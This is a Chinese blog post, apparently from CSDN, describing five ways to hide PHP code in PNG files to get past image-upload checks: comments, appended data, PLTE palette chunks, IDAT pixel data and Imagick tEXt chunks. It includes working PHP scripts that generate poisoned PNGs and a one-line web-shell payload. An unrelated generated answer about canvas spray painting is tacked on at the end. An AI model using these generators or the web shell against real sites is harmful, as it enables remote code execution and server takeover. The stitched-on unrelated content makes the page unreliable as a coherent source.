如何在PNG格式的图片中植入PHP代码

本文详细探讨了PHP应用中常见的PNG图片上传漏洞,介绍了五种代码植入方法:基础PNG注释、PHP-GD压缩、PLTE块、IDAT块裁剪以及Imagick的tEXt块利用。这些方法展示了黑客如何利用漏洞执行恶意代码,以及开发者应采取的防护措施。
摘要由CSDN通过智能技术生成

在评估PHP应用时候经常会遇到文件上传漏洞,该漏洞允许通过上传植入有PHP代码的文件来实现恶意代码植入,尤其是在图片上传漏洞中,常见的文件类型是PNG格式。

PNG图片的代码植入方式根据防护水平的不同而不同,有四类代码植入方式。

01

基础的PNG图片代码植入

基本的PNG图片上传不考虑任何的上传漏洞防护,很容易造成代码植入从而导致PHP任意代码执行。

如以下代码示例:

这段代码只是将上传的文件名通过添加唯一ID重命名文件,并将文件移动到可对外访问的目录下,即参数thumbnails_directory设定的目录下。

这段代码中只通过MIME做了文件格式的检查(通过文件内容检查判断文件格式),没有做文件后缀检查,因此只要文件内容与PNG格式吻合即可上传。

应对这种只有MIME文件格式检查的文件上传功能,可以通过在PNG图片中植入PHP代码来实现代码任意执行。

方法1:PNG注释

PNG图片格式允许添加注释到文件中,用于保存一些元数据。使用exiftool可以实现注释添加:

$ exiftool -comment="" png-hack-1.png

PNG文件后缀修改为PHP后上传,即可实现PHP代码任意执行。

方法2:直接附加

通过echo命令直接将PHP代码附加到文件末尾即可:

echo '' >> png-hack-1.png && mv png-hack-1.png png-hack-1.php

02

PHP-GD文件压缩代码植入

多数情况下图片文件被上传后会被裁剪、压缩甚至转换格式后存储,比如使用PHP-GD库。

下图的代码中使用PHP-GD库的imagecreatefrompng从原始文件创新新的文件,而后通过imagepng函数对PNG图片进行压缩(参数3中指定的level 9)后进行存储。

使用直接代码植入的PNG图片经过压缩后会失去植入的代码,从而导致漏洞利用失败。

方法3:PLTE块

PNG文件包含两种类型的块信息:附加数据块(ancillary chunks)和关键块(critical chunks),前者不是PNG文件的必需,后者是PNG文件的必要信息块。

无论使用哪种压缩方式进行文件压缩,都会删除附加数据块的内容以减小输出文件的大小,这也是直接将代码植入图片会无法奏效的原因。

所以,如果将代码植入到PNG文件的关键块中就可以避免压缩文件的影响,这里最佳的选择是关键块里的PLTE块(palette),比如颜色列表。

PLTE块包含1到256的调色板入口,每三个字节构成一组:

Red:   1 byte (0 = black, 255 = red)

Green: 1 byte (0 = black, 255 = green)

Blue:  1 byte (0 = black, 255 = blue)

入口的数量决定块的长度,但总长度是3的倍数。

所以理论上,利用PLTE块可以插入3*256,共768字节的代码,唯一的限制是payload必须被3整除。

<?php

if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");

$_payload = $argv[1];

$output = $argv[2];

while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);

if ($_pay_len > 256*3){

    echo "FATAL: The payload is too long. Exiting...";

    exit();

}

if($_pay_len %3 != 0){

    echo "FATAL: The payload isn't divisible by 3. Exiting...";

    exit();

}

$width=$_pay_len/3;

$height=20;

$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);

$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){

    $_color_chunks=str_split($_chunks[$i], 2);

    $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));

    imagesetpixel($im,$i,1,$color);

}

imagepng($im,$output);

通过上面的payload程序生成构造的PLTE图片:

php gen.php '' nasa.php

上传nasa.php文件至文件上传,即可执行phpinfo()函数:

03

PHP-GD尺寸裁剪代码植入

另一种图片文件上传的标准操作是进行文件裁剪(resize)之后保存。应用程序可能会用到imagecopyresized函数或imagecopyresampled函数,比如以下代码:

重定义尺寸的图片不使用原图片中的关键块内容,比如PLTE块,而是新创建一个图片,且仅使用源文件中的像素数据,因此无论是关键块还是附加数据块在新图片中都不复存在。所以,只能将代码植入到源文件的像素数据中。

方法4:IDAT块

一个相对负载但有效的办法是将PHP代码植入到PNG文件的IDAT块,这些块中包含文件的真实数据,比如PNG的像素,以3个字节记录的RGB颜色轨道。创建IDAT块的时候,PNG线过滤器先处理3个字节的像素,而后使用DEFALTE算法进行压缩。

要创建包含PHP代码的PNG文件IDAT块,必须精确地知道PNG线过滤器和DFALTE算法的执行过程,而压缩的过程受到裁剪大小的影响。

以将110×110像素的PNG图片裁剪至55×55像素为例,并植入payload:

<?=$_GET[0]($_POST[1]);?>

使用以上payload生成代码执行生成恶意PNG图片:

php gen_idat_png.php > nasa.php

最终的效果如下:

通过IDAT构造恶意PNG图片可以有效应对尺寸裁剪的问题,但由于和裁剪尺寸相关,因此构造过程会非常棘手。

04

IMAGICK图片裁剪的代码植入

除了PHP-GD之外,应用程序还可以使用另一种裁剪方式进行图片裁剪,即ImageMagick的PHP版本Imagick。

使用Imagick进行图片处理的时候(比如thumbnailImage函数或resizeImage函数),看起来可以使用应对PHP-GD的方法来解决,比如PNG图片的注释或者PLTE块植入PHP代码。

然而,Imagick库可以使用另一种比IDAT方法更有效的方法。

方法5:tEXt块

tEXt chunks用于传达与图像相关的文本信息。每个文本块都包含一个关键字作为其第一个字段,以确定文本字符串所代表的信息类型。

PNG图片的注释部分其实是tEXt块中预定义的一种形式。在Imagick裁剪图片的时候,会执行以下操作:

  • 擦除tEXt块中的注释(comment);

  • 覆盖tEXt块中的以下值:

date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI;

  • 保持tEXt块中的其他部分;

因此,可以将PHP代码植入到除了注释部分和覆盖部分的其他tEXt块中,比如下面的代码将植入代码到tEXt块中的Repoog属性,该属性是自定义的。

<?php

if(count($argv) != 4) exit("Usage $argv[0] <Input file> <PHP payload> <Output file>");

$input = $argv[1];

$_payload = $argv[2];

$output = $argv[3];

$imgck = new Imagick($input);

$imgck->setImageProperty("Repoog", $_payload);

$imgck->writeImage($output);

?>

然后执行该脚本生成恶意PNG图片:

php gen_tEXt_png.php png-hack-1.png '' nasa.php

最终的效果如下:

综上所述,不同PNG图片处理方式下的代码植入方式如下:

  • 26
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
要在网页喷绘一张PNG格式图片,可以借助PHP的GD库来实现。具体实现步骤如下: 1. 创建一个空的PNG图片,并获取绘图上下文: ```php $image = imagecreatetruecolor($width, $height); $transparent = imagecolorallocatealpha($image, 0, 0, 0, 127); imagefill($image, 0, 0, $transparent); imagesavealpha($image, true); header('Content-Type: image/png'); imagepng($image); imagedestroy($image); ``` 这段代码创建了一个宽高为$width和$height的空PNG图片,并将其背景设置为透明。然后将图片输出到浏览器,并销毁图片对象。 2. 在JavaScript获取这张图片,并将其作为canvas的背景: ```javascript var image = new Image(); image.src = "painting.png"; image.onload = function() { ctx.drawImage(this, 0, 0); } ``` 这段代码创建了一个Image对象,并将其src属性设置为画布背景图片的URL。然后在Image对象加载完成后,将其绘制到canvas上。 3. 在canvas上喷绘: ```javascript canvas.addEventListener("mousemove", function(e) { if (paint) { var x = e.offsetX; var y = e.offsetY; ctx.beginPath(); ctx.arc(x, y, 5, 0, 2 * Math.PI); ctx.fill(); ctx.moveTo(prevX, prevY); ctx.lineTo(x, y); ctx.stroke(); prevX = x; prevY = y; } }); ``` 这段代码添加了鼠标移动事件监听器,当鼠标移动时,如果当前处于喷绘状态,就在canvas上绘制一系列的点和线条。 完整的代码如下: ```html <!DOCTYPE html> <html> <head> <title>Spray Painting</title> <style type="text/css"> canvas { border: 1px solid black; } </style> </head> <body> <canvas id="myCanvas" width="500" height="500"></canvas> <script type="text/javascript"> var canvas = document.getElementById("myCanvas"); var ctx = canvas.getContext("2d"); var paint = false; // 是否在喷绘 var prevX, prevY; // 上一个点的坐标 var image = new Image(); image.src = "painting.png"; image.onload = function() { ctx.drawImage(this, 0, 0); } canvas.addEventListener("mousedown", function(e) { paint = true; prevX = e.offsetX; prevY = e.offsetY; }); canvas.addEventListener("mouseup", function() { paint = false; ctx.closePath(); }); canvas.addEventListener("mousemove", function(e) { if (paint) { var x = e.offsetX; var y = e.offsetY; ctx.beginPath(); ctx.arc(x, y, 5, 0, 2 * Math.PI); ctx.fill(); ctx.moveTo(prevX, prevY); ctx.lineTo(x, y); ctx.stroke(); prevX = x; prevY = y; } }); </script> </body> </html> ``` 这个页面会在canvas上绘制一张名为"painting.png"的PNG图片,并允许用户在上面进行喷绘。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晨曦_子画

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值